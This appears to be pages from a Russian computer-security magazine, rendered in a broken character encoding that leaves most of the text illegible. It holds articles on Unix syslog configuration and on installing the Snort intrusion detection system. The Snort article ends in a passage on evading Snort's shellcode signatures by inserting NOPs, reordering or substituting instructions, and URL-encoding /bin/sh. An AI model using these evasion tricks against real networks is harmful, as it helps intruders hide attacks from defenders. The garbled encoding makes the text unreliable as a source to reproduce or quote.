� 13 òåñòîâ òåëåâèçîðîâ

DVD ÝÊÑÏÅÐÒ � íîâûé æóðíàë
î òåõíèêå äëÿ äîìàøíåãî êèíîòåàòðà

Êàæäûé íîìåð ñ ôèëüìîì íà DVD

Ñìîòðèòå â îêòÿáðå �
Ôèëüì Äæóëè Òýéìîð  

«Òèò �� 
ïðàâèòåëü ÐÐèìà»

â ïðîäàæå ñ 13 îêòÿáðÿ! 



the_Shadow (theshadow@sources.ru)

Ë îãè � îðãàíû ÷óâñòâ àäìèíèñòðàòîðà â ÷ðåâå ñèñòåìû. Â ýòîé ñòàòüå ÿ ïîñòàðàþñü ðàññêàçàòü òåáå î ðàáîòå
ñèñòåìû âåäåíèÿ log-ôàéëîâ, åå ãðàìîòíîé íàñòðîéêå è î òîì, ÷òî èç íåå âîîáùå ìîæíî âûæàòü.

ËÎÃÈ 
ÄËß ÓÌÍÛÕ
ÑÈÑÒÅÌÀ LOG-ÔÀÉËÎÂ ÄËß *NIX-ÑÈÑÒÅÌ

ÒÅÎÐÈß
Ïðè ñòàðòå ñèñòåìû

çàïóñêàåòñÿ ìåõàíèçì
ïðîòîêîëèðîâàíèÿ,
ñîñòîÿùèé èç äâóõ ïîä-

ñèñòåì âåäåíèÿ ïðîòîêîëà - ÿäðà è
ïðîöåññîâ. Ñîáñòâåííî, ðàáîòà èõ
íà÷íåòñÿ ñðàçó ïîñëå òîãî, êàê syslogd
è klogd ñòàðòàíóòñÿ â ïðîöåññå init.
Òîãäà ñîçäàñòñÿ ñîêåò /dev/log, íà êî-
òîðûé â äàëüíåéøåì ñìîãóò ïîñòó-
ïàòü ëîãè ñ óäàëåííûõ ìàøèí, òàêæå
îòêðîþòñÿ ôàéëû, îïèñàííûå äëÿ ëî-
ãèðîâàíèÿ â òâîåé ñèñòåìå. 

Ñ ýòîãî ìîìåíòà ñèñòåìà áóäåò
æäàòü òâîèõ ëîãîâ.

KLOGD
Ñîîáùåíèÿ ÿäðà - ýòî íå ñàìîå

âàæíîå, íî óïîìÿíóòü î íèõ ÿ îáÿçàí.
Òû íàâåðíÿêà âñòðå÷àëñÿ ñ ýòèìè ñî-
îáùåíèÿìè, òàê êàê ïðè çàãðóçêå ñèñ-
òåìà âîâñþ âûâîäèò èõ íà êîíñîëü. Èõ
ìîæíî ïîëó÷èòü òàêæå â ëþáîé ìî-
ìåíò ñ ïîìîùüþ êîìàíäû dmesg ëèáî
çàãëÿíóâ â ôàéëû /var/adm/messages
è /var/adm/syslog, â êîòîðûõ ïî óìîë-
÷àíèþ õðàíèòñÿ âåñü ïðîòîêîë ÿäðà.

Âñå ñîîáùåíèÿ îò ÿäðà è åãî ìîäó-
ëåé õðàíÿòñÿ â êîëüöåâîì áóôåðå,
ðàçìåð êîòîðîãî - 16 Êá ïî óìîë÷à-
íèþ. Åñëè ðàçìåðà áóôåðà íå õâàòàåò
(ê ïðèìåðó, åñëè òû èñïîëüçóåøü åãî
äëÿ âûâîäà îòëàäî÷íûõ ñîîáùåíèé
îò òâîåãî ìîäóëÿ), òî åãî ìîæíî óâå-
ëè÷èòü, ïîäêîððåêòèðîâàâ ñîðöû ÿä-
ðà. Èìåííî çà ðàáîòó ñ äàííûì áóôå-
ðîì è îòâå÷àåò äåìîí klogd, êîòîðûé
âî ìíîãîì ïîõîæ íà ðàññìàòðèâàåìûé

íèæå syslogd (áåç íåãî îí, êñòàòè, äà-
æå ðàáîòàòü íå ìîæåò). 

SYSLOGD
syslogd � äåìîí, îòâå÷àþùèé êàê

çà ïðîòîêîëèðîâàíèå ñîîáùåíèé ïðî-
öåññà, òàê è âñåé ñèñòåìû â öåëîì.
Ïðîöåññ, êîòîðîìó íàäëåæèò, ïî çà-
ìûñëó àâòîðîâ, ïðîòîêîëèðîâàòü ñâîè
äàííûå, äîëæåí âêëþ÷àòü â ñâîå òåëî
áèáëèîòå÷íûå ôóíêöèè, ïðè âûçîâå
êîòîðûõ ïðîèñõîäèò îáðàùåíèå ê sys-
logd è ïåðåäà÷à òîìó äàííûõ äëÿ çà-
ïèñè (ñì. âðåçêó). 

Êàê ïðàâèëî, áîëüøàÿ ÷àñòü äåìî-
íîâ, ôóíêöèîíèðóþùèõ â ñèñòåìå,
èìååò â îïöèÿõ êîíôèãóðàöèè íàñò-
ðîéêó ïàðàìåòðîâ ïîäñèñòåìû ïðîòî-
êîëèðîâàíèÿ (ñì. òîò æå BIND). Ñî ñòî-
ðîíû ñèñòåìû âñå åùå ïðîùå. Ñóùå-
ñòâóåò ôàéë (ó ìåíÿ ýòî
/etc/syslog.conf) - îñíîâà äëÿ êîíôè-
ãóðàöèè âñåé ðàáîòû äåìîíà syslogd,
è åñëè ÷òî-òî íàäî ïîìåíÿòü â ïðîòî-
êîëèðîâàíèè ñîîáùåíèé ñèñòåìû, òî
èìåííî çäåñü.

Â ïðèíöèïå, íàì íèêòî íå ìåøàåò ðà-
áîòàòü ñ ëîãàìè äàæå èç ïðîñòîãî
ïðèëîæåíèÿ. Òàêèì îáðàçîì, â ïðîòî-
êîë ìîæíî ñáðàñûâàòü âñå äåéñòâèÿ
ïðèëîæåíèÿ/ïîëüçîâàòåëÿ, ÷òî ïðè-
ìåíèìî äëÿ îòëàäêè, õîòÿ äëÿ îòëàäêè
ïðèëîæåíèÿ åñòü äðóãèå è áîëåå
àäåêâàòíûå ìåõàíèçìû. À âîò äëÿ ÷å-
ãî ýòî òî÷íî ìîæåò ïîíàäîáèòüñÿ, òàê
ýòî äëÿ êîíòðîëÿ çà äåéñòâèÿìè ïîëü-
çîâàòåëÿ. Ñâîåãî ðîäà "÷åðíûé ÿùèê"
äëÿ ñèñòåì, ãäå äåéñòâèÿ ïîëüçîâàòå-
ëåé ñòîèò çàïèñûâàòü.

ÍÀÑÒÐÎÉÊÀ         SYSLOG
Äëÿ íàñòðîéêè íàäî ïîíÿòü, ÷òî

åñòü ðÿä óðîâíåé ("óðîâíåé ïðèîðèòå-
òà" èëè "ñåðüåçíîñòè") òîãî èëè èíîãî
óñëîâèÿ, êîòîðîå ïðîòîêîëèðóåòñÿ, è
ðÿä òèïîâ ïðèëîæåíèé ("ñðåäñòâ").
Äëÿ êàæäîé êîíêðåòíîé ñèñòåìû îíè
îïèñàíû â êîäå ÿäðà. È èõ çíà÷åíèÿ
ðàçúÿñíåíû â ìàíàõ. 

"Ñåðüåçíîñòü" èìååò 8 çíà÷åíèé (0-
7), ãäå 0 - àâàðèéíàÿ ñèòóàöèÿ, êîãäà
âñåì ïîëüçîâàòåëÿì øëåòñÿ øèðîêî-
âåùàòåëüíîå ñîîáùåíèå è ñèñòåìà
îñòàíàâëèâàåò ñâîþ ðàáîòó. Ïîñëå òà-
êîãî îòêàçà ñèñòåìà, â ïðèíöèïå, ìî-
æåò è íå çàâåñòèñü. 7 - îòëàäî÷íîå
ñîîáùåíèå (äëÿ îòëàäêè ïðèëîæåíèÿ,
è íå áîëåå). Ñòîèò çàìåòèòü, ÷òî àíà-
ëîãè÷íûå óðîâíè ñåðüåçíîñòè èñ-
ïîëüçóþòñÿ è â Cisco IOS. Ýòà ñèñòåìà
ïðîòîêîëèðîâàíèÿ î÷åíü ïîõîæà íà
íèêñîâóþ.

�Ñðåäñòâà" - ýòî ðÿä òèïîâ ïðîöåñ-
ñîâ îò ÿäðà äî ïîäñèñòåìû ïî÷òîâûõ
ñîîáùåíèé, âêëþ÷àÿ àóòåíòèôèêà-
öèþ, àâòîðèçàöèþ, äåìîíîâ etc. 

Òî åñòü ëþáàÿ çàïèñü â ôàéëû ëî-
ãîâ ïðîèçâîäèòñÿ íà îñíîâàíèè òîãî,
÷òî ïðîöåññ õî÷åò çàïèñàòü è ñ êàêèì
óðîâíåì ñåðüåçíîñòè. Ñèñòåìà (sys-
logd) ïåðåõâàòûâàåò âûâîä ïðîöåññà
è îòïðàâëÿåò ñòðîêó â ôàéë, óêàçàí-
íûé â êîíôèãå. Êàê âèäèøü, âñå
ïðîñòî.

Íàñòðàèâàÿ äåìîíà syslogd ÷åðåç
/etc/syslog.conf, âïîëíå ìîæíî äî-
áèòüñÿ äîñòîéíîé íàñ èíôîðìàòèâ-
íîñòè.

Âîò ïðèìåð (êóñîê ðåàëüíîãî ôàéëà)
ñ êîììåíòàðèÿìè:

#Âñå, ÷òî êàñàåìî àóòåíòèôèêàöèè.
authpriv.* -/var/log/secure
#Âñå ñîîáùåíèÿ óðîâíÿ Emergency (0)

âñåì ïîëüçîâàòåëÿì.
*.emerg

*
#Ïèñàòü ñîîáùåíèÿ îò info äî warn äëÿ

ñåðâèñîâ, çà èñêëþ÷åíèåì
#authpriv, cron - äëÿ ýòèõ ñåðâèñîâ åñòü

äðóãîå ìåñòî
#ñì. ïåðâóþ ñòðîêó.
.info;*.!warn;\
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Ðàçìåð
áóôåðà
ñîîáùåíèé
ÿäðà
ñîäåðæèòñÿ
â ôàéëå
printk.c â
ìàêðîñå
LOG_BUF_L
EN.

Ìàíóàë ïî íàïèñàíèþ ïðèëîæåíèé, èñïîëüçóþùèõ klogd

ËÎÃÈ ÄËß ÓÌÍÛÕ84 ÇÀÙÈÒÀ

Ñîîáùåíèå ÿäðà



authpriv.none,
cron.none -/var/log/messages

Îáðàòè âíèìàíèå: ÿ îïèñûâàþ òîëü-
êî òî, ÷òî åñòü â ìîåé ñèñòåìå. Îäèí
èç ïðèçíàêîâ ïðîôåññèîíàëèçìà àä-
ìèíà - ëîãè, ñîîòâåòñòâóþùèå ðåàëü-
íî èñïîëüçóåìûì ñåðâèñàì.

Äàëåå. Åñòü åùå ãîðÿ÷àÿ ïàðî÷êà
ëîãîâ � wtmp è utmp, áèíàðíûå ôàé-
ëû, è ñ íèìè íàì ïðèäåòñÿ ðàáîòàòü
àêêóðàòíî. Â íèõ õðàíèòñÿ èíôîðìà-
öèÿ î ïîäêëþ÷åíèè ïîëüçîâàòåëåé ê
ñèñòåìå. Íî åñòü ðÿä òîíêîñòåé:
1. utmp õðàíèò äàííûå î ïîäêëþ÷å-

íèè ïîëüçîâàòåëåé â òåêóùèé ìîìåíò
(ñì. êîìàíäó who, ê ïðèìåðó); 
2. wtmp õðàíèò äàííûå îáî âñåõ

ïîäêëþ÷åíèÿõ ê ñèñòåìå. Åñëè, ê ïðè-
ìåðó, íåêòî âîøåë â ñèñòåìó è ñðàçó
âûøåë, òî èìåííî çäåñü îí è "íàñëå-
äèë". Ñàìûå ñâåæèå çàïèñè õðàíÿòñÿ
â íà÷àëå ôàéëà; 
3. åñëè ôàéëîâ â ñèñòåìå íåò, sys-

logd èõ ñîçäàâàòü íå ñòàíåò. Ñàìîìó
ïðèäåòñÿ ñîçäàòü ÷åðåç touch. Íî! Åñ-
ëè îíè áûëè, òî ãäå îíè òåïåðü?

ÁÅÇÎÏÀÑÍÎÑÒÜ
Âî-ïåðâûõ, äî íàñòðîéêè ëîãîâ îï-

ðåäåëÿåìñÿ, ÷òî è ñ êàêèõ õîñòîâ ïè-
ñàòü, òàê êàê ëîãè íå ðåçèíîâûå è èõ
íàäîáíî ñìîòðåòü. Ïîòåðÿåòñÿ ñìûñë
çàïèñè, åñëè â íèõ áóäåò êó÷à âñÿêîãî
ìóñîðà. Íåîáõîäèìî ÷åòêî ïîíÿòü, ÷òî
ïèñàòü âàæíî, à ÷òî íåò. 

Ê ïðèìåðó, åñòü ðîóòåð Cisco, åñòü
web-ñåðâåð, FTP-ñåðâåð (íà îäíîé
ñèñòåìå), åñòü ìýéë-ñåðâåð è DNS (íà
âòîðîé). Çíàþ, ÷òî íå ïî ïðàâèëàì, íî
òàê óæ âûøëî. 

Òàêæå åñòü òà÷êà àäìèíà, êîòîðûé
äëÿ ïîâñåäíåâíîé ðàáîòû èñïîëüçóåò
òó æå ñèñòåìó, ÷òî è íà åãî ñåðâåðàõ.
Ãäå ïèñàòü ëîãè? Îòâåò ñàì íàïðàøè-
âàåòñÿ: íà êîìïüþòåðå àäìèíà! Åñëè
ñèñòåìà âçëîìàíà, òî ëîãîâ õàêåð íà
íåé íå íàéäåò! Ïðèäåòñÿ åùå è ñèñòå-
ìó àäìèíà ëîìàòü :). 

×òî ïèñàòü? Àóòåíòèôèêàöèÿ - ðàç,
ïîäñèñòåìû (FTP, mail ...) - äâà. Ýòî ìè-
íèìóì. Â äàííîì ñëó÷àå ëþáûå ïîïûò-
êè äîñòóïà è/èëè èñïîëüçîâàíèÿ íàøèõ
ñåðâåðîâ áóäóò çàïèñûâàòüñÿ. Ïîëó÷à-
åì êàðòèíêó òîãî, ÷òî â ñåòè òâîðèòñÿ.

Âî-âòîðûõ (ÿ ïðîòèâíèê òàêîãî ìåòî-
äà, íî... îí ñàìûé íàäåæíûé), âñå ëîãè,
ïîñòóïàþùèå íà ìàøèíó àäìèíà, ñëå-
äóåò íåìåäëåííî îòïðàâëÿòü íà ïå-
÷àòü. Äàæå â ñëó÷àå âçëîìà ñèñòåìû
àäìèíà, ïðè êîòîðîì âñå ëîãè, êîíå÷-

íî, áóäóò íåèçìåííû, ó íàñ îñòàíåòñÿ
æåñòêàÿ êîïèÿ. Çäåñü, ïðàâäà, ïåðåä
íàìè âñòàåò ýòè÷åñêèé âîïðîñ - à ñòî-
èò ëè âåñü ýòîò áðåä æèçíè äåðåâüåâ,
ïåðåâîäèìûõ íà áóìàãó :)?

Ïîëó÷èâ ëîãè, îòâå÷àþùèå äîëæ-
íûì òðåáîâàíèÿì, íå ñòîèò çàáûâàòü
îá èõ îáñëóæèâàíèè.

ÎÁÑËÓÆÈÂÀÍÈÅ ËÎÃÎÂ
Êàê ïðàâèëî, ðåêîìåíäàöèè "ëó÷-

øèõ ñîáàêîâîäîâ" ñâîäÿòñÿ ê òîìó,
÷òî íåîáõîäèìî ïîñòàâèòü íåêèé
ñîôò, îòâå÷àþùèé çà ðàáîòó ñ ëîãà-
ìè. Âñå âåðíî. Íî ýòî äîëæåí áûòü
ñîôò, íàïèñàííûé òîáîé ëè÷íî. Òóò
ïîìîæåò Perl, ïèñàâøèéñÿ, ìåæäó
ïðî÷èì, ñïåöèàëüíî äëÿ ýòèõ öåëåé.

Ëîã ïðåäñòàâëÿåò ñîáîé íåêóþ ïîñ-
ëåäîâàòåëüíîñòü ôîðìàòèðîâàííûõ
ñòðîê, êîòîðûå óäîáíî ïðîñìàòðèâàòü
ïðîãðàììíûì êîäîì. 

«×òî èñêàòü», - ñïðîñèøü òû? Âñå
ïîäîçðèòåëüíîå: íåêîððåêòíûå âõîäû
â ñèñòåìó, îòêàçû â àóòåíòèôèêàöèè
ïîëüçîâàòåëÿ, ñòðîêè login/password
etc. Êàê ïðèìåð, ìíîãèå win-ïîëüçîâà-
òåëè ïðèâûêëè ê òîìó, ÷òî ïðè âõîäå â
ñèñòåìó èìÿ ïîëüçîâàòåëÿ óæå ââåäå-
íî è îñòàåòñÿ òîëüêî âáèòü ïàðîëü. Â
*nix ýòî íå òàê. Â ðåçóëüòàòå, â ëîãå
âïîëíå ìîãóò îêàçàòüñÿ àêòóàëüíûå
ïàðîëè, âáèòûå êàê èìÿ ïîëüçîâàòå-
ëÿ. Ñèñòåìà, êîíå÷íî æå, íå ïðîïóñòè-
ëà, íî â ëîã çàïèñàëà. Åñëè ýòî ïîâòî-
ðèòñÿ, òî ïîðà ñ äàííûì þçåðîì ïðî-
ôèëàêòè÷åñêóþ áåñåäó ïðîâîäèòü.

Îñîáîå âíèìàíèå ñòîèò óäåëèòü ïîèñêó
ñòðîê òèïà /bin/sh. Â ýòîì ñëó÷àå, åñëè
ñòðî÷êà ÷åðåäóåòñÿ ñ "ìóñîðîì", âïîëíå

ëîãè÷íî ïðåäïîëîæèòü, ÷òî òåáÿ ïûòà-
ëèñü ïîëîìàòü (è òû âèäèøü shell-êîä). 

Êðîìå òîãî, ïðè ëîãèðîâàíèè ñåòå-
âûõ ñëóæá ñëåäóåò èñêàòü íåêîððåêò-
íûå âõîäû â ñèñòåìó, ïîïûòêè ïîäáî-
ðà ïàðîëÿ. 

Çäåñü ñàìîå ãëàâíîå - îïûò àäìèíà.
×óòüå èùåéêè è çíàíèå òîãî, ÷òî æå
òû äîëæåí óâèäåòü, ïîíèìàíèå, êàê
òîò èëè èíîé ìåõàíèçì äîëæåí ðàáî-
òàòü. ß ïîä÷åðêèâàþ, ýòî âàæíî êàê
ïðè êîíôèãóðàöèè ñèñòåìû ïðîòîêî-
ëèðîâàíèÿ, òàê è ïðè àíàëèçå ðåçóëü-
òàòîâ åå ðàáîòû.

Ëîãè äîëæíû õðàíèòüñÿ â òå÷åíèå íå-
êîòîðîãî ðàçóìíîãî âðåìåíè (ê ïðèìå-
ðó, â òå÷åíèå íåäåëè). Â îñîáåííûõ ñëó-
÷àÿõ ìîæíî ïèñàòü ëîãè íà CD è õðà-
íèòü èõ ñòîëüêî, ñêîëüêî íóæíî. Äëÿ
ýòèõ öåëåé åñòü ôè÷à logrotate. Èäåÿ
òàêîâà: ïðîïèñàòü â /etc/logrotate.conf,
êàê è ÷òî õðàíèòü (ïåðåñûëàòü ëè íà e-
mail, êîïèðîâàòü, ñæèìàòü, îáðåçàòü
ðàçìåð äî íóëÿ - ñì. man logrotate), à
çàòåì ÷åðåç cron ðàç â êàêîé-òî ïåðèîä
çàïóñêàòü ýòîãî õîçÿéñòâî. Âàæíî òî,
÷òî òû ñàì ìîæåøü íàñòðîèòü ìåõà-
íèçì çàìåíû ëîãîâ òàê, êàê ýòî íóæíî.
Ê ïðèìåðó, âñå îòëàäî÷íûå ñîîáùåíèÿ
ïðîñòî è áåç çàòåé óíè÷òîæàòü, äîñòóï
ê HTTP - õðàíèòü è ò.ä.

Íà ýòîì âñå! Åñëè âîçíèêëè âîïðî-
ñû, òî ÷èòàé ìàíû, ðîé ñåòü è òîëüêî
ïîòîì ïèøè ìíå :). E
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Õðàíèëèùå
ëîãîâ äîëæ-
íî ïðèíàä-
ëåæàòü
root'ó.

Äåìîí sys-
log ðàáîòà-
åò íà ïîðòó
514/UDP
(ñîêåò
/dev/log),
íî ìîæíî
ïåðåíàïðà-
âèòü åãî è
íà èíîé
ïîðò ÷åðåç
ôàåðâîë.

Ôóíêöèé printk

Êîíôèãóðàöèîííûé ôàéë syslogd

Ñîîáùåíèå ñèñòåìû

Ñíà÷àëà äîáàâëÿåì ê ñîðöó õèäåð <syslog.h>.
Îòêðûâàåì ïîäñèñòåìó ëîãîâ èç ïðèëîæåíèÿ ñ ïîìîùüþ ôóíêöèè
openlog, ïðîòîòèï êîòîðîé ìîæíî íàéòè â õèäåðå.
Íà ýòîì ýòàïå ìîæíî ïèñàòü ëîã ñ ïîìîùüþ ôóíêöèè syslog(óðî-
âåíü_ñåðüåçíîñòè, ñîîáùåíèå) èëè vsyslog(), êîòîðàÿ ðàáîòàåò ñ
ôîðìàòèðîâàííûì âûâîäîì, êàê è printf.
Â êîíöå çàêðûâàåì ïîäñèñòåìó: closelog().

Ó×ÈÌÑß ÏÈÑÀÒÜ ËÎÃÈ

Äëÿ ïðîãðà-
ììíîãî äîñ-
òóïà ê áó-
ôåðó ÿäðà
åñòü ôóíê-
öèÿ klogctl,
êîòîðàÿ
î÷åíü ïîõî-
æà íà sys-
log().



the_Shadow (theshadow@sources.ru)

Ê ðàéíå âàæíûì ïîìîùíèêîì â àäìèíîâñêîì äåëå ÿâëÿåòñÿ IDS, èëè ïî-ðóññêè ñèñòåìà îáíàðóæåíèÿ àòàê. Ñ åå
ïîìîùüþ àäìèíû âñåãî ìèðà óæå ïðåäîòâðàòèëè îãðîìíîå ÷èñëî âçëîìîâ. Ïîðà è òåáå âêëþ÷èòü åå â ïîñòîÿííûé

ðàöèîí :).

IDS/SNORT
ÑÈÑÒÅÌÛ ÎÁÍÀÐÓÆÅÍÈß ÀÒÀÊ

ÒÅÎÐÈß
Ïðè àíàëèçå àòàê,

ïðè÷åì êàê íà ðåàëü-
íûå, ðàáîòàþùèå ñèñòå-
ìû, òàê è íà ðàçëè÷íûå

OpenHack\honeypot\honeynet (î êîòî-
ðûõ òû ñìîæåøü ïðî÷åñòü â ýòîì íîìå-
ðå), áûëè âûÿâëåíû îáùèå ïðèçíàêè,
äåìàñêèðóþùèå âçëîìùèêà. È îñíîâû-
âàÿñü èìåííî íà ýòèõ ïðèçíàêàõ, óì-
íûå äåâåëîïåðû ñîçäàëè ïåðâóþ IDS.

Ñèñòåìû îáíàðóæåíèÿ âòîðæåíèé â
"÷èñòîì âèäå" áûâàþò äâóõ òèïîâ:

- HIDS (host based intrusion detection
system) - àíàëèç òîãî, ÷òî òâîðèòñÿ íà
õîñòå. Ñèñòåìû tripware, àíàëèçàòîðû
log'îâ.

- NIDS (network based intrusion detec-
tion system) - àíàëèç ñåòåâîãî òðàôè-
êà. Ýòî êóäà èíòåðåñíåå, íî è ñëîæ-
íåå. Äåëî â òîì, ÷òî òàêàÿ ñèñòåìà ðà-
áîòàåò êàê ñíèôåð, ïåðåõâàòûâàÿ è

àíàëèçèðóÿ âåñü ñîáðàííûé òðàôèê.
Ïî èäåå, NIDS äîëæåí óìåòü îáíàðó-
æèâàòü àòàêè êàê ïî ñèãíàòóðàì,
âñòðå÷àþùèìñÿ â ïåðåõâà÷åííûõ ïà-
êåòàõ, òàê è ïî õèòðîìó àíàëèçó ïðî-
òîêîëîâ. Îòëè÷íûì ïðèìåðîì òàêîé
ñèñòåìû ÿâëÿåòñÿ SNORT, î êîòîðîì è
ïîéäåò äàëüøå ðå÷ü. Ñíîðò ñåäëàåò
ñåòåâûå èíòåðôåéñû è îñóùåñòâëÿåò
íàáëþäåíèå çà òðàôèêîì. Åñëè âäðóã
÷òî-òî åìó êàæåòñÿ ïîäîçðèòåëüíûì,
òî îí ãðîìêî �âèçæèò� â ëîãè. Èäåÿ
íåñëîæíàÿ, ïðàâäà?

ÓÑÒÀÍÎÂÊÀ ÑÂÈÍÜÈ
Äëÿ íà÷àëà íàäî ïîíÿòü, ãäå æå

ïðåäïî÷òèòåëüíåå âñåãî ñòàâèòü ïî-
ðîñÿ÷üþ IDS. Òàê êàê íàøà çàäà÷à -
ãåðìåòèçèðîâàòü ñåòü èëè ïîäñåòè, òî
â äîñòàòî÷íîé ìåðå î÷åâèäíûì áóäåò
òî, ÷òî îñíîâíîå ìåñòî äëÿ óñòàíîâêè
SNORT'à - ðîóòåðû. 

Íî ïîìíè: âòîðæåíèå ìîæåò îñóùåñ-
òâëÿòüñÿ êàê èçâíå, òàê è èçíóòðè ñå-
òè. Äà, è ñâîè �âíóòðåñåòåâûå�, ïàð-
äîí, äÿòëû ìîãóò "ïîìî÷ü".

Ñêà÷èâàé Ñíîðòà ñ åãî îôèöèàëü-
íîé ïàãè: www.snort.org/downloads/snort-sta-
ble.tgz, ðàñòàðèâàé â êàòàëîã, à â íåì
íàáèðàé:

./configure; make; su; make install

Çàòåì ñîçäàâàé äèðåêòîðèþ äëÿ ïî-
ðîñÿ÷üèõ ëîãîâ: 

mkdir /var/log/snort.

Òåïåðü Ñíîðò äîëæåí áûòü ãîòîâ ê
íàñòðîéêå.

Êîíôèãóðèðîâàòü íóæíî ôàéëèê
/etc/snort.conf. Êîíêðåòíî òû äîëæåí
ñäåëàòü ñëåäóþùåå:
1. Îïèøè ñâîþ ñåòü - àäðåñà, èñ-

ïîëüçóåìûå ïðîòîêîëû (ïîðòû) è ò.ï.
Òåì ñàìûì òû óêàæåøü, çà ÷åì íàäî
ïðèñìàòðèâàòü. ×åì ïîëíåå ïðîïè-
øåøü, òåì ëó÷øå.
2. Óêàæè, ãäå è êàêèå áðàòü ñèãíàòó-

ðû. Â ñòàíäàðòíîé ïîñòàâêå õðÿêà
äîëæíû áûòü ôàéëû òèïà *.rules. Òå-
áå íàäî óêàçàòü òîëüêî òå ïðàâèëà,
êîòîðûå ðåàëüíî íåîáõîäèìû òâîåé
ñèñòåìå (êàêèå ñåðâèñû â ñåòè êðóòÿò-
ñÿ, òàêèå *.rules è îòáèðàé). Ïî ýòèì
ñèãíàòóðàì áóäåò àíàëèçèðîâàòüñÿ
òðàôèê. Âñå ýòî ÷åì-òî íàïîìèíàåò
ðàáîòó àíòèâèðóñà, òîëüêî äëÿ TCP/IP.
Êñòàòè, êîãäà ðàçáåðåøüñÿ, êàê ðàáî-
òàåò ýòà IDS, òî è ñàì ñìîæåøü ñîçäà-
âàòü ðóëåñû. 
3. Îïèøè ïðàâèëà, íà îñíîâàíèè

êîòîðûõ àíàëèçèðîâàòü òðàôèê, òî
åñòü êàêèå àòàêè, ñ êàêîãî èíòåðôåéñà
âîçìîæíû è ÷òî äåëàòü. Òóò òàêæå âñå
çàâèñèò îò ñåðâèñîâ è èõ íàñòðîåê.

Íàñòðîèâ, èìååì ïîëíîå ïðàâî çà-
ïóñòèòü SNORT:

snort -D -c snort.conf

»

SNORT - îäíà èç ñàìûõ ïåðâûõ è íàèáî-
ëåå óäà÷íûõ ðåàëèçàöèé ñèñòåìû IDS, ðà-
áîòàþùàÿ íà îñíîâå àíàëèçà òðàôèêà. ß
íàçûâàþ ýòó ñèñòåìó îáíàðóæåíèÿ àòàê
"ãðÿçíûì ñâèíòóñîì", òàê êàê íà ïåðâîì
ñàéòå, ïîñâÿùåííîì Ñíîðòó (åùå äî âåðñèè 1.0), íà òèòóëüíîé ñòðà-
íèöå, áûëà âûâåøåíà ôîòîãðàôèÿ ìàòåðîãî õðÿêà, óïåðøåãîñÿ ðû-
ëîì ïðÿìî â îáúåêòèâ ôîòîãðàôà. Ñ òåõ ïîð ñèñòåìà çíà÷èòåëüíî
ïîâçðîñëåëà, ñàéò ïåðåíåñëè èç äîìåíà .au â äîìåí .org, à òåëüöå
ñòàðèíû Ñíîðòà îòïðàâèëè æèâûì âåñîì íà êîëáàñó, íî èìÿ åãî è
îáðàç æèâóò. Íà ëîãîòèïå ïî-ïðåæíåìó ïðèñóòñòâóåò äîâîëüíàÿ
ðîæà (èëè ðûëî?) ìóëüòÿøíîãî õðÿêà.
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SNORT -
îäíà èç ñà-
ìûõ ïåðâûõ
è íàèáîëåå
óäà÷íûõ ðå-
àëèçàöèé
ñèñòåìû
IDS.

IDS/SNORT86 ÇÀÙÈÒÀ

Ðóëåñû Ñíîðòà

Êîíôèãóðàöèîííûé ôàéë



Ñíîðòà
ìîæíî ëåã-
êî îáîéòè,
âèäîèçìå-
íèâ ïî ìàê-
ñèìóìó ñèã-
íàòóðó
shell-êîäà.

Îñíîâíîå
ìåñòî äëÿ
óñòàíîâêè
Ñíîðòà �
ðîóòåðû.

ÓßÇÂÈÌÎÑÒÜ
Íî ðàíî ðàäîâàòüñÿ. Óâû, ñòàðèíà

Ñíîðò óÿçâèì. Ó âçëîìùèêà åñòü âîç-
ìîæíîñòü (è åùå êàêàÿ!) çàñòàâèòü
Ñíîðò íèêàê íå ðåàãèðîâàòü íà òâîè
äåéñòâèÿ. Åñëè åñòü ïðàâèëà, òî èõ íå
ñòîèò íàðóøàòü, èõ ñëåäóåò îáîéòè.
Ñâèíêà-òî ó íàñ ãëóïåíüêàÿ, è äàæå
åñëè îíà ïîéìàåò â ñâîè ëàïêè shell-
êîä, íî ñèãíàòóðà åãî îêàæåòñÿ åé íå-
èçâåñòíà, òî áóäåò ìîë÷àòü ñåáå ñâèí-
êà â òðÿïî÷êó. 

Ïðèäåòñÿ ðàçáèðàòüñÿ ñ *.rules. Åñòü
íåêîå ñâèíñêîå ïðàâèëî,
hellcode.rules çîâåòñÿ. Òû òîëüêî ïîñ-
ìîòðè íà íåãî: â íåì ïðàêòè÷åñêè âñå
ìûñëèìûå è íåñêîëüêî íåìûñëèìûõ
shell-êîäîâ. Îõ-îõ-îõ, ÷òî æ ÿ ìàëåíü-
êèì íå ñäîõ... ;)

Íî êàê íè ñòðàííî, íå çðÿ íå ñäîõ.
Îáîéòè ýòî ïðàâèëî î÷åíü ïðîñòî.
Äåëî â òîì, ÷òî SNORT � ýòî íå àí-
òèâèðóñ, è îí íå îáëàäàåò ýìóëÿòî-
ðîì êîäà, êîòîðûé ñìîæåò ðàñïîç-
íàòü shell-êîä íå ïî ñèãíàòóðå, à ïî
àëãîðèòìó (äàåøü ýâðèñòè÷åñêèé
IDS :)! - ïðèì. AvaLANche'à). Ñëåäî-
âàòåëüíî, òåáå íàäî íåñêîëüêî âè-
äîèçìåíèòü ñèãíàòóðó shell-êîäà.
Ýòî ìîæíî ñäåëàòü, ïðîñòî ïåðåïè-
ñàâ shell-êîä äî íåóçíàâàåìîñòè
ïîä ñåáÿ. Ñàìûé ïðîñòîé ñïîñîá �
èçìåíèòü (íî áåç ïîòåðè ôóíêöèî-
íàëüíîñòè!) ïîðÿäîê ñëåäîâàíèÿ
êîìàíä èëè ïîíàòûêàòü NOP'îâ (op-
êîä � 90), ñîçäàâ �ïðîìåæóòêè� â
shell-êîäå. Êîíå÷íî, ïðè ýòîì âû-
ðàñòåò ðàçìåð êîäà, íî çàòî åãî ñèã-

íàòóðà îáìàíåò Ñíîðòà. Êàê åùå
ìîæíî ïîìåíÿòü ñèãíàòóðó? 
1. Ìåíÿòü îäíè êîìàíäû íà äðóãèå.

Òóò òåáå íàäî î÷åíü õîðîøî îðèåíòè-
ðîâàòüñÿ â àñìå è èíñòðóêöèÿõ öåëå-
âîãî ïðîöåññîðà. Ïî ñóòè äåëà, íóæíî
íàïèñàòü ñâîé shell-êîä, �íåèçó÷åí-
íûé� Ñíîðòîì. 
2. Âàðèàíò ïîïðîùå � ïîìåíÿòü âû-

çîâ øåëëà. Ñòðîêà /bin/sh ïðèâîäèò ê
ïîðîñÿ÷üåé àêòèâíîñòè Ñíîðòà è, ïîç-
æå, àäìèíà, à ñòðîêà %2Fbin%2Fsh �
íåò. Âîò òîëüêî íå âñåãäà ýòî âîçìîæ-
